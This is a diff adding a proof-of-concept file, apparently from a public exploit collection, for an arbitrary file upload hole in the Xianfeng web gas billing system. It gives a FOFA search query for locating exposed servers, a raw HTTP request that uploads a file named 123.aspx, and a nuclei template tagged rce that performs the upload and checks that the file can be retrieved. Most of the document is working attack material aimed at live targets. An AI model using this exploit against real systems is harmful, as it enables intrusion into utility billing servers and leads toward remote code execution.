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+## 先锋WEB燃气收费系统文件上传漏洞
+
+## fofa
+```
+app="先锋WEB燃气收费系统"
+```
+
+## poc
+```
+POST /AjaxService/Upload.aspx HTTP/1.1
+Host: target
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Content-Type: multipart/form-data; boundary=---------------------------352149293954742437289922451
+Content-Length: 351
+Origin: null
+Connection: close
+Upgrade-Insecure-Requests: 1
+
+-----------------------------352149293954742437289922451
+Content-Disposition: form-data; name="Fdata"; filename="123.aspx"
+Content-Type: application/octet-stream
+
+hello
+-----------------------------352149293954742437289922451
+Content-Disposition: form-data; name="submit"
+
+Submin
+-----------------------------352149293954742437289922451--
+```
+
+![adb288fb428b3c35f303468198c26dc6](https://github.com/wy876/POC/assets/139549762/4510946f-a8c9-4ea5-92bc-ef5ba62ebfae)
+
+## nuclei 
+```
+
+id: xianfeng_files_upload
+info:
+  name: xianfeng_files_upload
+  author: joyboy
+  severity: critical
+  description: 先锋WEB燃气收费系统文件上传漏洞
+  metadata:
+    max-request: 1
+    fofa-query: app="先锋WEB燃气收费系统"
+    verified: true
+  tags: rce
+
+requests:
+  - raw:
+      - |-
+        POST /AjaxService/Upload.aspx HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+        Content-Type: multipart/form-data; boundary=---------------------------352149293954742437289922451
+        Content-Length: 349
+        Origin: null
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        -----------------------------352149293954742437289922451
+        Content-Disposition: form-data; name="Fdata"; filename="123.aspx"
+        Content-Type: application/octet-stream
+
+        hello
+        -----------------------------352149293954742437289922451
+        Content-Disposition: form-data; name="submit"
+
+        Submin
+        -----------------------------352149293954742437289922451--
+        
+      - |-
+        GET /UploadFile/{{date_time("%Y%M")}}/{{timestrp}} HTTP/1.1
+        Host: {{Hostname}}
+        
+    extractors:
+      - type: regex
+        name: timestrp
+        internal: true
+        part: body
+        regex:
+          - '[0-9]{16}.aspx' 
+          
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - hello
+      - type: status
+        status:
+          - 200
+```